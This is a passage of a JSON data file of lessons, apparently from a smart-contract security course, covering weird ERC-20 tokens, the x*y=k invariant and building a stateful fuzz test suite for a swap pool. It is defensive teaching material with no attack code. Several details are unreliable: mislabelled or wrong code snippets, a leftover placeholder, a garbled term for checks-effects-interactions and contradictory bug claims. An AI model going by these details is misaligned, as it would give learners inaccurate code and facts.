forget to hydrate, take breaks, and recharge yourself.\"_\n\nFeel free to take a short break, stretch a bit, go for a walk or do anything you find relaxing. When you’re ready, we'll reconvene and continue our descent into the rabbit hole of coding exploits and vulnerabilities, enriched, refreshed, and ready for more.\n\nUntil then, congratulations once again and see you after your well-deserved break!\n\nStay tuned for more fuzzing and coding action in the next blog entry!\n", + "updates": [] + }, + { + "id": "193a4e62-8f2e-41e3-bfaa-9d9006564d17", + "number": 18, + "title": "Weird Erc20s", + "slug": "weird-erc20", + "folderName": "18-weird-erc20", + "description": "", + "duration": 4, + "videoUrl": "8R_aOSqE0zI", + "rawMarkdownUrl": "/routes/security/5-tswap/18-weird-erc20/+page.md", + "markdownContent": "---\ntitle: Exploit - Weird ERC20s (These are a menace to Web3)\n---\n\n\n\n---\n\n# Exploring the Weird World of ERC-20 Smart Contracts: Security, Oddities and Auditing\n\nIn this blog post we'll delve into one of the most interesting parts of the decentralized area - ERC-20 Smart Contracts and their intricate aspects. We’re going to go back to the `cipher` security and auditing full course on GitHub and explore more about a special section named **TSWAP**, specifically _section five_.\n\n## Tackling the ERC-20 Quirks\n\n> _Remember, it's the stuff we don't know that keeps us up at night._\n\nOne weird instance that we are going to discuss today is about `ERC-20 fee on transfer token`, which was part of the `SC_exploits`. When testing this token, it was found that for every ten transactions, a fee was being charged. This might seem innocuous, but this little oddity has the potential to destabilize numerous protocols.\n\n![](https://cdn.videotap.com/AepJ0CJaMiwbHLC1x4GC-49.5.png)\n\n## The Anomalies of ERC-20 Tokens\n\nERC-20 Tokens come in all shapes and sizes. Here's a glimpse into some of the variants and potential problems that lurk in the shadows:\n\n1. **Reentrant tokens**: These ERC-777s seem harmless, but even a simple transfer of these tokens can lure you into a pit of reentrancy attacks.\n2. **Missing return values**: Some tokens don’t return a boolean on ERC-20 methods. For transactions requiring a status check, this can be a potent problem.\n3. **Fee on transfer**: Some tokens sneak in a fee on every transfer while others can start doing so in the future.\n4. **Upgradable tokens**: These tokens, like USDC, could morph into anything over time.\n5. **Rebasing tokens**: These tokens magic away your balance by meddling with different contracts.\n6. **Tokens with blocklists**: Some tokens put restrictions on certain transacting parties.\n7. **Low/high decimals**: Token numbers can go from unusually low to abnormally high, causing calculation mishaps.\n8. **Multiple token addresses**: These tokens exist in more than one places at once.\n\n## Dealing with ERC-20 Tokens Anomalies\n\n![](https://cdn.videotap.com/4oHWptmu7liSgxFnB37w-170.5.png)\n\nERC-20 Tokens are an external smart contract that one must treat with a level of wariness. While integrating with them, you must be fully aware of the token’s characteristics.\n\nBlockquote:\n\n> _Playing in the world of ERC-20s without complete information is like dancing on a live minefield._\n\nA cagey approach to interacting with ERC-20s can be the difference between a successful dApp and a failed project.\n\n![](https://cdn.videotap.com/fnsDlRcZfomWTHFt6MFT-214.5.png)\n\nIn conclusion, if you are aspiring to be a top-flight builder of powerful smart contracts. This website is an excellent guide to understanding and gaining expertise in the world of smart contracts. It serves as both a practical tool and an in-depth manual to secure smart contracts.\n\nAnd remember, \"The first step to great security is being aware about all the unknowns!\".\n", + "updates": [] + }, + { + "id": "6a0f18c4-814b-4633-b5b4-003b101496a7", + "number": 19, + "title": "Writing Stateful Fuzz Test Suite", + "slug": "writing-stateful-fuzz-test-suite", + "folderName": "19-writing-stateful-fuzz-test-suite", + "description": "", + "duration": 1, + "videoUrl": "cb7oAfVJNLI", + "rawMarkdownUrl": "/routes/security/5-tswap/19-writing-stateful-fuzz-test-suite/+page.md", + "markdownContent": "---\ntitle: Writing Stateful Fuzz Test Suite\n---\n\n\n\n---\n\n# Unearthing Invariant Bugs in T Swap: An In-Depth Look at Stateful Fuzzing\n\nIn the world of code development, testing isn't just a good practice – it's essential. This article provides a holistic perspective on a recent exploration into T Swap's codebase, observed practices, and the application of stateful fuzzing test suites.\n\n## Understanding T Swap: The Prelude\n\nBefore we delve into our primary focus, let's backtrack and recap.\n\nWhile sifting the codebase, it was evident that T Swap is well-grounded in underlying unit tests. However, the presence of specific entity, a certain critical invariant, led to a realization about the absence of something integral.\n\n> \"If the codebase has unit tests but no stateful fuzzing test, should we be concerned?\"\n\nOur answer to this turned out to be a resounding yes. It was a hint pointing towards the potential issues nestled within the T Swap system. Identifying these areas for improvement was not held within the realms of SRC – it was staring right at us.\n\n## The Task at Hand: Writing an Invariant Test Suite\n\nStepping back to our main branch, we essentially locked eyes with an important discrepancy. Our codebase recognized its unit tests yet failed to host stateful fuzzing tests. And thus, the mission was clear. We were mandated to write the stateful fuzzing test suite and slightly so, expected to discover bugs in the process.\n\nThe task involved working directly with the T Swap's codebase, devising an automated stateful fuzzing invariant test suite. We believed that by accomplishing this, we would be able to unmask potential bugs within the system.\n\n## The Rollout: A Zero Manual Review Approach\n\nIn a paradigm shift from conventional methods, we decided to go zero manual review - a method entirely run by an automated test suite. While this may seem daunting, the focus was to write an automated test suite that will identify the bugs without human interference.\n\nHowever, to validate our automated test suite's competence, we decided to undertake a modest amount of manual review. This was a complimentary step to ensure the robustness of our newly coded test suite.\n\nAfter exacting the plan, we were ready to run our test suite and examine the results.\n\n## In Summary\n\nUsing hints from the T Swap's system peculiarities and their own testing protocols, we realized that there was an absence of an integral part of test coverage – stateful fuzzing tests. A thorough exploration of this deficiency led us to write an automated invariant test suite, supplemented by a hint of manual review.\n\nThe goal was to find bugs with minimum manual intervention, and guess what? We did find some. So, stay tuned for the next part of this journey as we dissect the bugs and understand how to rectify them!\n\nRemember at all times, coding might be art, but testing is a science!\n", + "updates": [] + }, + { + "id": "661fbd6d-5f1e-4b21-9330-9836857077d7", + "number": 20, + "title": "Constant Product Formula Explained", + "slug": "constant-product-formula-explained", + "folderName": "20-constant-product-formula-explained", + "description": "", + "duration": 9, + "videoUrl": "H-FiRXkfNFo", + "rawMarkdownUrl": "/routes/security/5-tswap/20-constant-product-formula-explained/+page.md", + "markdownContent": "---\ntitle: Constant Product Formula Explained\n---\n\n\n\n---\n\n# Unraveling the Math in Uniswap's X \\* Y = K Invariant\n\n> **\"The main thing we want to keep in mind is the ratio of tokens should always stay the same.\"**\n\nUniswap, a popular decentralized exchange protocol, leverages a relatively simple mathematical principle to ensure that the balance within the pool maintains a certain ratio. At the core of its mechanism is the invariant formula: X \\* Y = K, which is held constant throughout all trading activities. However, when fees are factored in, the invariant technically increases, leading to a somewhat complex equation which we'll dissect further in this blog post.\n\nSeeing all the math involved, you might feel a bit overwhelmed, but hang tight, as we take a deep dive into the intricacies of the math and algebra involved. If you are someone with a keen interest in mathematics and decentralized finance, strap yourself in as we journey down this Uniswap mathematical express.\n\n## X \\* Y = K, The Magic Invariant Equation\n\nOur first step is to grasp the magic invariant equation, X \\* Y = K. Our code base operates on an invariant principle where the token balance of X times the token balance of Y should always equal the same constant, K.\n\nHere is the equation:\n\n```ruby\nX * Y = K\n```\n\nThe token balance of X times the token balance of Y after a swap operation should still equal the same constant K, regardless of the asset swapped. Let's illustrate the idea using an example:\n\nGiven we have a Uniswap pool of Ethereum (WETH) and USD Coin (USDC), and a trader makes a swap operation — removing some WETH to add some USDC — the balance ratio should remain constant to prevent the trader from manipulating the price to their advantage.\n\n![](https://cdn.videotap.com/7AR7AuVGUkohvd6xDQ8G-119.24.png)## Simplifying The Equation\n\nThe X \\* Y = K equation might seem a straightforward invariant, but implementing it as an assertion in the codebase can be challenging. But don't worry — to ease the process, we need to simplify this equation to a form where we can explicitly say the change in token balance must always follow a certain formula.\n\nWe'll simplify the equation using algebra to a format suitable for “stateful fuzz testing”. Don't feel pressured if you don't follow every step; you can still hold on to the principle that checks out.\n\nHere’s the process of simplifying the equation using algebra:\n\n1. Starting with the core equation and its variant:\n\n```ruby\nX * Y = K (core equation)X * Y = (X + ∆X) * (Y - ∆Y) (With changes ∆X and ∆Y in X and Y)\n```\n\n![](https://cdn.videotap.com/QHzVQA2HNb4hbKJl7pYc-220.14.png)2. Using the FOIL (First Outer Inner Last) algebraic method to simplify the equation:\n\n```ruby\nX*Y - X*∆Y = X*Y + ∆X*Y - ∆X*∆Y\n```\n\n3. X\\*Y appearing on both sides of the equation:\n\n```ruby\n-X*∆Y = ∆X*Y - ∆X*∆Y\n```\n\n4. Isolate the change in X (denoted as ∆X):\n\n```ruby\n∆X * Y - ∆X * ∆Y = X * ∆Y\n```\n\n5. Factor out ∆X:\n\n```ruby\n∆X * (Y - ∆Y) = X * ∆Y\n```\n\n6. Solve for ∆X:\n\n```ruby\n∆X = (X * ∆Y) / (Y - ∆Y)\n```\n\nAnd there you have it! We've simplified the equation from X \\* Y = K, down to ∆X = (X \\* ∆Y) / (Y - ∆Y) — an equation we can use in our fuzz test!\n\n![](https://cdn.videotap.com/q4fjlDbGWHwTtzGV6qC4-467.79.png)## Wrapping Up and Next Steps\n\nWe did some crafty algebra to break down X \\* Y = K to a simplified equation. Remember, the formulas we were dissecting are vital for the Uniswap protocol to maintain a balanced token ratio, hence they are also vital for us when creating our stateful invariant testing suite.\n\nDon't despair if the blocks of algebra seems difficult to understand because all the math we've covered will be included in the associated Github repo. If you're more comfortable with visual diagrams or need a deeper explanation of mathematical techniques, [Chat GPT](https://chat.openai.com/) can be very helpful.\n\nFor those who wish to take an even deeper dive into the formal verification of the X\\*Y=K market maker model, the respected paper on [Runtime Verification](https://runtimeverification.com/) goes into detail about how the formula works from a formal perspective.\n\nThanks for reaching this part, keep up the good work, and see you in the next blog post!\n", + "updates": [] + }, + { + "id": "d8649b57-9977-4a49-9b40-fd74a03c43b1", + "number": 21, + "title": "Invariant.t.sol", + "slug": "invariant-t-sol", + "folderName": "21-invariant-t-sol", + "description": "", + "duration": 17, + "videoUrl": "kW17nSlpptA", + "rawMarkdownUrl": "/routes/security/5-tswap/21-invariant-t-sol/+page.md", + "markdownContent": "---\ntitle: Writing T-Swap a stateful fuzz test suite - Invariant.t.sol\n---\n\n\n\n---\n\n# Testing Smart Contracts with Invariants\n\nHey there, in this blog post, we're going to walk through how to audit a smart contract using invariant testing. Specifically, we'll use the TSWAP contract codebase. By the end of this tutorial, you'll have a grasp on writing invariant test suites in Solidity.\n\n## Overview\n\nLet's imagine you're tasked with a private audit. You're supposed to help someone stay secure. It's an awesome feeling when you come back with an audit report together with an invariant test suite. As we'll see in this tutorial, it's essential not to dive into looking at the code base before writing testing essentials. So yes, we're going to find bugs without even viewing the code base. Sounds crazy, right? Buckle up!\n\n## Setting Up The Codebase\n\nWe'll start by setting up our file structure. In our working environment, let's create a new folder called _invariant_. In this folder, we're going to house two Solidity (.sol) files. The files will be named `invariant.t.sol` and `handler.t.sol`, respectively.\n\nOnce we've set this up, we're ready to start writing our tests.\n\n## Building Our Invariant\n\nWe'll begin with writing `invariant.t.sol`. We need to start defining our tests by first constructing the 'invariant'.\n\nBuilding up `handler.t.sol` will require us to dig deep into the codebase. However, we can get away with developing `invariant.t.sol` a little bit blind. It allows us to commence testing without scrutinizing the entire contract.\n\n## Constructing Mock Tokens\n\nWhile preparing our test environment, we realize that our contract is interacting with the WETH token and a particular poolFactory. These factories take in WETH tokens as an input parameter. Therefore, as part of our setup, we're going to create mock tokens.\n\nLet's create another directory named _mocks_ where we will create some mock tokens. We will need one file called `ERC20Mock.sol`:\n\nWe then proceed to create an `ERC20Mock`, which derives from `ERC20` token.\n\nThis way, we prepare a simulated environment where the tokens we will use do not have actual value, which is critical for safe and responsible testing.\n\n## Writing The Handler\n\nWith our tests set up, our next step is to write the handler. While we could write asserts directly in our invariant, the cleaner approach is to compute these in the handler. This way, our assert becomes a one-liner:\n\nThis way, we can ensure that our logic holds, regardless of the varying input parameters. In developing more complex software or systems, invariants play a crucial role in enforcing correctness.\n\n## Conclusion\n\nWell, it's been a long post! Whew. But there you have it, you now have a good grasp of writing invariant tests for your smart contracts. Remember, practice makes perfect and don't shy away from puzzling your brains. It's part of the fun in blockchain development. Keep practicing!\n", + "updates": [] + }, + { + "id": "a5b53fd9-50f1-46d1-bcbe-11ff65fd418f", + "number": 22, + "title": "Handler.t.sol", + "slug": "handler-t-sol", + "folderName": "22-handler-t-sol", + "description": "", + "duration": 18, + "videoUrl": "dka-nbF0HYY", + "rawMarkdownUrl": "/routes/security/5-tswap/22-handler-t-sol/+page.md", + "markdownContent": "---\ntitle: Writing T-Swap a stateful fuzz test suite - Handler.t.sol, Deposit Function\n---\n\n\n\n---\n\n# Breaking Down DeFi Audits with Invariant Testing\n\nIn this deep dive into DeFi audits, we will be covering a wealth of material ranging from DeFi to invariant testing. Do remember that we're dealing with complex topics, so if things are not making perfect sense, take a breather, and continue at your own pace. You're doing great by simply trying to digest this sizable chunk of advanced concepts.\n\n## Building a Handler\n\nLet's start with the task of building our handler. A common technique that comes in handy when addressing large problems is to break the problem down into smaller segments. We're taking this approach with our handler development.\n\nIn our contract, a constructor will create a TSWAP pool. Now, we need to test an invariant that the change in `X` (token balance) is equal to the expected change in `X`.\n\nWithin our handler, we'll want to implement at least two main functions: a deposit function and a swap function. For the purposes of this tutorial, we’ll focus on `deposit` and `swapExactOutput` functions as a starting point.\n\n## Decoding Function Documentation\n\nOne advantage we have while trying to understand these functions, is that the documentation is quite helpful. If there were no docs, we'd be wading through the code itself, which could be much more time-consuming.\n\nTaking `swapExecOutput` for example, the function documentation illustrates its working as follows:\n\n> swapExecOutput figures out how much you need to input, based on the output you want to receive. For instance, if you want ten output tokens of WETH and you're inputting DAI, the function will calculate the amount of DAI needed to get you the desired WETH and execute the swap.\n\nSuch explanations in the documentation significantly facilitate understanding of the code, thus contributing to making the auditing process relatively less time-consuming.\n\n## Keeping Notes\n\nWhile working through the process, it's good practice to keep notes or record findings, especially when there are missing parameters as we've noticed in the `swapExecOutput` function. Let's do this to maintain an audit trail for future reference.\n\nHere’s a simple note example:\n\n> Notes:Audit findings:Missing param in NatsSpec, missing deadline param in `swapExecOutput`. Also, remember to check with the protocol team for any documentation for better audit efficiency.\n\n## Setting up Core Handler Actions\n\nBack in our handler, we want to focus on two primary actions, at least to start: depositing and swapping.\n\nTo perform a deposit, we need access to the tokens. For swapping, we're likely to use `swapExactOutput`. We'll begin by implementing these, and gradually build from there. By writing a Fuzz test suite to execute these actions, we will not only be contributing to better code quality, but also making the protocol safer.\n\nLet's begin with creating our deposit function.\n\n## Constructing the Deposit Function\n\nOur deposit function begins by defining our tokens, in this case, WETH and Pool tokens.\n\nWith the availability of these tokens, we can proceed with determining the amounts for tokens to deposit, ensuring we set reasonable amounts to avoid overflow errors. The quantity of WETH to deposit will dictate the corresponding change in the Pool tokens.\n\nOnce we execute the deposit, we compare our expectations (expected delta) with the actual changes in the Pool and WETH tokens.\n\nWe are effectively done with our deposit function, but we didn't sign up to only handle deposits; we're here to test the swap invariant.\n\n## Building the Swap Function\n\nThe auditing process includes verifying code and ensuring that invariants hold through operations like swaps. That's part of what we're trying to achieve here, which brings us to create our swap function.\n\n> \"Remember, the bigger the vulnerabilities you uncover, the bigger the improvements you can make, ultimately contributing to the overall safety of DeFi protocols and the blockchain ecosystem.\"\n", + "updates": [] + }, + { + "id": "03eddcf6-15bb-43fb-8686-ce58db4c094f", + "number": 23, + "title": "Handler Swap Function", + "slug": "handler-swap-function", + "folderName": "23-handler-swap-function", + "description": "", + "duration": 12, + "videoUrl": "hsoPWni-s5Y", + "rawMarkdownUrl": "/routes/security/5-tswap/23-handler-swap-function/+page.md", + "markdownContent": "---\ntitle: Handler.t.sol - Deposit Function\n---\n\n\n\n---\n\n# Testing Uniswap's Token Swap Function\n\nIn this post, we're going to thoroughly explore the function which swaps a pool token for `WETH` along with the underlying math involved. In Uniswap, `WETH` is short for Wrapped Ethereum, a token that represents Ether 1:1, enabling it to adhere to the ERC-20 standard.\n\n## The Swap Function and Its Logic\n\nFirstly, we bind `outputWETH` between 0 and `UNI_64_MAX` to provide a more realistic transaction range. We don't want all the money in the pool to be swapped out. This would be logically unfeasible and destructive for liquidity, hence we return if `outputWETH` exceeds the pool balance.\n\n## Delving into the Math Underlying the Function\n\nIn order to ascertain the pool token amount that must be minted or burnt based on `outputWETH`, we employ the following mathematical derivation.\n\nIn the `TSWAP` pool, there is a function called `getInputAmountBasedOnOutput`, which yields the `delta_x`. Without going into the specifics of this formula, let's understand why it works with a bit of simple algebra.\n\n> _\"It's in understanding how to manually solve these equations that you understand the importance and workings of the smart contract functions we work with.\"_\n\nWe utilize this function on the `TSWAP` pool to get the `poolTokenAmount` which is our `delta_x`.\n\n## Updating Starting Deltas\n\nThe reason for the `-1 * _outputWETH` is because the pool is losing `WETH`, hence making the `deltaY` negatively inclined. We comfortably say that it is the `expectedDeltaY`.\n\n## Minting Pool Tokens for Swapping User\n\nHere, we commence by creating a new person `address swapper`. This is the person performing the swap with the pool. If the swapper doesn't have enough pool tokens for this swap, we mint the difference along with one additional token just to be explicit.\n\n## Actual Token Swap\n\nThis is where the actual token swap occurs. We begin a new transaction under the swapper's address. This transaction includes approval for the pool to manage their pool tokens, with no limit set (`UNI_256_MAX`), with the `swapExactOutput` function called to perform the swap.\n\n## Finalizing Swap and Updating Ending Deltas\n\nAfter completing the swap, we simply update our ending deltas and calculate the actual deltas. The actual deltas are simply the initial balances subtracted from the final balances.\n\n## Conclusion\n\nThe entire handler function, `swapPoolTokenForWETH`, crafts a transaction, conducts a swap on the pool and calculates expected and actual balance changes to ensure the protocol behaves as expected.\n\nThe process can feel challenging when dealing with mathematical equations, but abstraction makes it easier. We've constructed our handler focussing on the process more than the math. This handler allows easier stateful fuzzing tests, ensuring the safety and security of anyone interacting with the pool.\n\nThis testing framework aids in understanding how these token swapping protocols are designed and behave, giving us more confidence in the robustness of Uniswap's smart contracts.\n", + "updates": [] + }, + { + "id": "19a75983-8466-48de-9cb8-bc84bd3981ae", + "number": 24, + "title": "Final Invariant And Tweaks", + "slug": "final-invariant-and-tweaks", + "folderName": "24-final-invariant-and-tweaks", + "description": "", + "duration": 3, + "videoUrl": "tLGNJ-cfGAg", + "rawMarkdownUrl": "/routes/security/5-tswap/24-final-invariant-and-tweaks/+page.md", + "markdownContent": "---\ntitle: Final Invariant & Tweaks\n---\n\n\n\n---\n\n# Diving into Invariants: Writing Tests in Coding\n\nIn this blog post, we will uncover the steps to set up tests for an invariant in our code. Precisely, we will write a simple test and furthermore guide you through the setup for our handler.\n\n## Writing the Test\n\nAfter establishing our invariant, it's time to proceed to writing a basic test. This test could be as simple as asserting that the actual `Delta X` from our handler should equal the expected `Delta X`. Here is how we could write this test.\n\n```python\nassert handler.actualDeltaX == handler.expectedDeltaX\n```\n\nThough I must confess, I often prefer writing `assertEqual` as it usually provides more detailed information, you can certainly opt for our above statement which succinctly accomplishes the task.\n\nThe actual test, however, functions in rudimentary terms to ensure that our expected delta is aligned with the actual delta in the handler.The expected delta is assigned using the function `Y times X equals K`, which calculates the expected deltas. We then compare the computed deltas to the actual deltas.\n\n## Setting Up the Handler\n\nNow, let's dive into actually setting up the handler, which calls for us to move up a bit, retracing our steps.\n\nTo initiate the handler setup, we need to first import it. This can be done using the following code:\n\n```python\nimport handler from 'handler.t.sol'\n```\n\nAfter successfully importing the handler, we can create a new handler using the `new` keyword. This handler takes the parameter as `poolBytes for Array memory`.\n\n> Note: All the variables used above can be replaced depending on the specific needs of a project.\n\nIn conclusion, we have seen how easily we can write the basic structure of a test and set up our handler. The ease at which we can perform these tasks simplifies our coding endeavors and ensures more stable code in the long run.\n\nRemember, while writing tests, our ultimate goal is to ensure that our code behaves as we expect it to under different circumstances. After all, in the words of a wise coder, \"Code without tests is bad code.\". Make space for tests the next time you code and watch the number of errors drop significantly.\n", + "updates": [] + }, + { + "id": "e455fe14-0139-4841-a296-19d5c9c27b3b", + "number": 25, + "title": "Debugging The Fuzzer", + "slug": "debugging-the-fuzzer", + "folderName": "25-debugging-the-fuzzer", + "description": "", + "duration": 8, + "videoUrl": "tLcpqejwHo8", + "rawMarkdownUrl": "/routes/security/5-tswap/25-debugging-the-fuzzer/+page.md", + "markdownContent": "---\ntitle: Debugging the Fuzzer\n---\n\n\n\n---\n\n# Debugging Your Code the Way a Pro Would Do It\n\nIn today's lesson, we'll dive into a realistic process of debugging, using live examples and explaining how to overcome certain coding hurdles.\n\nTypically, I spend a large chunk of my work hours debugging unexpected failures in code scripts, and I thought it would be valuable to share my experience with you.\n\nOften, you'll need to rerun your code, alter variables, and cross your fingers, hoping you'd not receive the same error. Debugging is intriguing and requires a keen eye for detail.\n\n## Debugging a Program\n\nHere is a practical example of how I discovered, investigated, and resolved errors in a program, step by step.\n\n![](https://cdn.videotap.com/YQdEYI0P1ab2zx1GvZnZ-68.11.png)\n\n### Step 1: Testing the Code\n\nAs expected, the program failed. The error notably pointed out that the `TSWAP pool must be more than zero`. From my experience, such failures are usually attached to some misconfigured variables or misplaced logics.\n\nIn this case, when checking back on the `handler`, there was a deposit function configured with zero - a value that must certainly be greater than zero.\n\nI then had to ask myself, what seemed to be the `minimum deposit`?\n\n### Step 2: Debugging Interlude\n\nI discovered something crucial here - the `minimum WETH liquidity`. This was the `minimum deposit amount` I should've assigned instead of zero.\n\nUsing this newly found information, I decided to replace the zero value in the `bound` function with this minimum deposit amount and then reran my test.\n\nIt appeared that the function `get input amount based off output` had been assigned the zero value, as was previously the case. Here we had to replace the zero with `pool. Get minimum WETH deposit amount` to avoid similar complications.\n\n### Step 3: Learning and Debugging\n\nI intentionally ran into these issues because it's an inevitable part of the coding process and learning experience. Debugging requires a skill to easily navigate through logs - It's a practice I find effective in learning code structure.\n\nAt this point, the `assertion` seemed to hit a snag. The immediate response was an `actual Delta X` being zero while on the right hand side, it was a large number. The inconsistency in values raises the question - where did I go wrong?\n\nTurns out, there was a small but significant mistake in the addressee in my code. It had mistakenly been set to `address this`, when it should have been `address pool`.\n\n### Step 4: The Resolution\n\nOnce that was rectified, it seemed like we were getting somewhere. The code was now giving a different error, an indication that we were making progress. However, I noticed there was a significant variance between the left and right side values - almost a clear doubling.\n\nThe key question now was whether my code was the problem or there was an `invariant` that was actually broken. Debugging requires such critical thinking to diagnose the root cause of errors.\n\n_SECTION OF CODE TO INSERT HERE_\n\nIt turned out I had made an incorrect assignment in the `handler`. The `Delta X` was supposed to be the `pool token amount` calculated earlier. This led to an unexpected elevation in the `outbound WETH` size, causing the script to keep reverting.\n\nTo solve this, I had the `bound` function call on the `WETH balance of the address pool`, as opposed to it being manually large.\n\n#### Handling Debugging Challenges\n\n> \"In debugging, there's a lot of trial and error, and it's okay. You're going to encounter a few challenges on your first try but with perseverance and keen attention to detail, you'll find a way to resolve these errors\".\n\nAfter making the necessary alterations and rerunning the tests, the program finally passed. This means the code was safe and no bugs were found.\n\n## Conclusion\n\nEven after successfully debugging, remember that your code is always subject to possible future errors. But now armed with the skills and patience to debug, you are better prepared to face any challenge that comes your way.\n\nStay creative and keep debugging!\n", + "updates": [] + }, + { + "id": "1633a5de-6dcd-40c1-9afb-5a03f74b36e4", + "number": 26, + "title": "One Last Huzzah", + "slug": "one-last-huzzah", + "folderName": "26-one-last-huzzah", + "description": "", + "duration": 10, + "videoUrl": "TznxX0j3tG8", + "rawMarkdownUrl": "/routes/security/5-tswap/26-one-last-huzzah/+page.md", + "markdownContent": "---\ntitle: One Last Huzzah\n---\n\n\n\n---\n\n# Unveiling the Power of a Stellar Stateful Fuzzing Test Suite\n\nEver experienced one of those situations when you felt like capitulating because nothing seems to work? Only to find that, against your better judgment, you gave one last attempt and everything fell into place? That's exactly the kind of journey we are about to hop on. What started as a simple methodical troubleshooting transmogrified into an exploration of the ever-useful, indispensable tool – the stateful fuzzing test suite.\n\n## EQ. X vs. Y Test Runs\n\nSometimes, when we're stuck with a challenging bug and can't seem to point out why it exists, we need to remain resolute and alter our approach. This was exactly the case when I was working with a piece of code and an assertion failed.\n\nChanging our test from X to Y and modifying the stats gave a rather perplexing output - the core invariant seemed to be breaking.\n\n## Spelunking Through the Log Files\n\nLike seasoned detectives, we read through the log files for some answers. This particular log file was teeming with `deposits` and `swaps`, a lot of balance adjustments, and, in the last section, things seemed to head south. Something was going awry in the last swap which led to an unexpected disparity between the left and right results.\n\n> \"...usually there's a lot of alpha in this last section, like what happened in this last swap, which caused this to get way out of whack because everything was fine right beforehand...\"\n\nWhile digging further into the function call in the `handler`, my attention was drawn to multiple `transfers` being emitted - one more than was expected.\n\n## Unearthing the Rogue Code\n\nUpon close inspection of these transfers, I discovered some discrepancies:\n\n1. There was an unusual `transfer` from the `TSWAP pool` to the `swapper`\n2. Subsequently, another weird `transfer `was being emitted from the `swapper` to the `TSWAP pool`\n3. Then again, there was another `transfer` from the `TSWAP pool` to the `swapper`\n\nNeedless to say, this wasn't what I was expecting. Recognizing that my stateful fuzzing tests were pointing towards a peculiarity, I decided to dive deep into the code base.\n\n## AHA - The Bug!\n\nAs I ventured into the low-level swap function, I unraveled the mystery - I discovered we'd included an extra incentive in the swap function where for every 10 swaps, an extra token is awarded to the user.\n\nThis was the heart of the issue. It was resulting in the protocol breaking because:\n\n- There was an unexpected increase in the swapper's balance\n- For any fee transfer token, the internal function would transfer excessive tokens, thus breaking the protocol invariance\n\nIt dawned upon me that the violation of the protocol invariant, in this case, the `XxY=K formula` was generating this bug.\n\n## Significance of Stateful Fuzzing tool\n\nDespite all these findings, it was the fruit of a good deal of work. Finding the code-breaking bug involved meticulous editing and testing using the stateful fuzzing tool. However, it was unequivocally worth it.\n\nManual review, despite its efficiency, can be laborious to discover all bugs. Therefore, it becomes essential to leverage automation as a means to make our jobs simpler. That's where the role of stateful fuzzing comes to the forefront. It allows us to comprehend protocol invariants on a superior level while giving us an inexpensive way of finding bugs and breaking protocols.\n\nIt's pivotal to understand how this powerful tool works, even if you're unable to grasp the complexities of the TSWEAP handler.\n\nUltimately, the ability to discover potential bugs by writing an effective test suite is an indispensable instrument in your toolkit. Once the protocol's invariance is identified and it is discovered that no tests are being run for it, it is a clear indicator that a bug lurks somewhere around. For instance, for a codebase comprising 10,000 lines of code, conducting an audit could consume abundant resources, but a stateful fuzzing test suite can accomplish the task in a day or two.\n\n## Learning and Adaptation\n\nThrough this experience, I understood that weird ERC-20s, rebase, and fee-transfer tokens can disrupt our protocols. These conditions, along with our naive incentive for swappers, can violate protocol invariance, causing a breakthrough for bugs. It underlines the importance of knowing the specifics of the tokens we are working with - their advantages, drawbacks, and the protocol invariants they obey.\n\nUltimately, establishing a protocol invariance pattern in the writing of functions or applying checks using the \"checks, effects, interactions\" paradigm can be the game-changer in reinforcing your code against bugs.\n\nIn all, spending a bit of time setting up the stateful fuzzing test suite can help you detect bugs early, maintain your invariances and ensure the code you wrote stays robust, performant, and error-free.\n", + "updates": [] + }, + { + "id": "1063c7cf-05a5-4a46-80e2-d7fab3690a3a", + "number": 27, + "title": "Notes On Invariants", + "slug": "notes-on-invariants", + "folderName": "27-notes-on-invariants", + "description": "", + "duration": 4, + "videoUrl": "YiVP2LrSzQk", + "rawMarkdownUrl": "/routes/security/5-tswap/27-notes-on-invariants/+page.md", + "markdownContent": "---\ntitle: Notes on Invariants and other Types of Tests\n---\n\n_Follow along with the video:_\n\n\n\n---\n\n# Welcome to the World of Invariants and Fuzzing Tools\n\nHi all! We've been on quite a journey together, haven't we? We've had our brains whipped into a frenzy learning how to effectively use fuzzing tools and, yes, there were certainly times when we delved into confusing territories. However, we also learned how these powerful tools can help us discover and break invariants, quickly identifying issues in protocols. In this post, we'll build upon these foundational skills, diving deeper into an exploration of ERC20s, core invariants, and much more!\n\n## Unraveling the Mysteries of ERC20s\n\nThe world of ERC20s can often seem daunting and puzzling, but do not fret, we're here to unravel its mysteries. We have only just scratched the surface of understanding these tokens in our sessions, but expect to see more of them popping up as we progress through our course.\n\n## Defining Core Invariants and Breaking Them Down\n\nEqually important to our exploration are, of course, core invariants. These are rules that remain unaffected regardless of the system state. Now, if you're still scratching your head over the term \"freepy\" (or CEI, as others might call it), think of it as a practice of implementing pre and post-checks to uphold certain invariants.\n\nTo illustrate this, let's look at two protocols - Uniswap and Euler. The former has an intact core invariant embedded within its codebase; the Euler protocol, unfortunately, does not. This lack of an invariant was a significant contributor to the much-talked-about Euler hack that happened recently.\n\n## Exploring Different Testing Tools and Approaches\n\nWhile our journey has already spanned areas of forge fuzzing, stateful fuzzing, and invariants, there are still a few facets we're yet to traverse. Say, for example, `Echidna`. In case you're unfamiliar with it – it's a powerful fuzzing tool that pairs excellently with Foundry Fuzzing Consensus's paid tool.\n\nMutation and differential testing, on the other hand, didn't make the cut for our workshop, so we will discuss them briefly here.\n\n> Mutation testing involves modifying parts of the code to evaluate if these changes break any existing tests.\n\nLet's turn to the git repo attached to this tutorial for reference. Under `audit_data`, you'll find a 'test' folder with a note about differential testing. Also, there is a differential folder where you can perform fuzz testing against the output of `uniswap`.\n\nFor mutation testing, imagine altering `Tswappool.sol` in various ways, such as deleting a line, swapping out math, or changing a greater-than operator to a less-than. The objective here is to ensure your tests catch these errors.\n\nThrough this practice, you can evaluate the effectiveness of your testing framework. While we didn't perform any mutation testing in our session, it's a valuable tool you should consider implementing.\n\n## Driving the ‘Solodit' Train\n\nWe're gearing up to dive into `Solodit` in the upcoming sessions. With `Solodit`, we can learn from historical findings, uncovering a wealth of insights from the peculiarities of ERC-20s to the importance of preserving invariants.\n\nParsing through the archives of `Solodit`, you'll discover numerous examples of how weird ERC-20s have caused problems. Try a simple search for 'invariants' on Solodit, and you'll unearth a treasure trove of invariant findings, spelling out a wealth of knowledge and learning opportunities.\n\n## Wrapping It Up!\n\nTo sum up, we've done a ton of work together; we've navigated unchartered territories, explored protocols, learned about testing and more. On this journey, we've embraced the weirdness of ERC20s, the intriguing world of invariants, and a handful of robust testing tools.\n\nStay tuned for more exciting stuff coming your way! Remember, we're learning together, we're growing together, and, most importantly - we're making the future of protocols safer, together. Until next time, happy learning!\n", + "updates": [] + }, + { + "id": 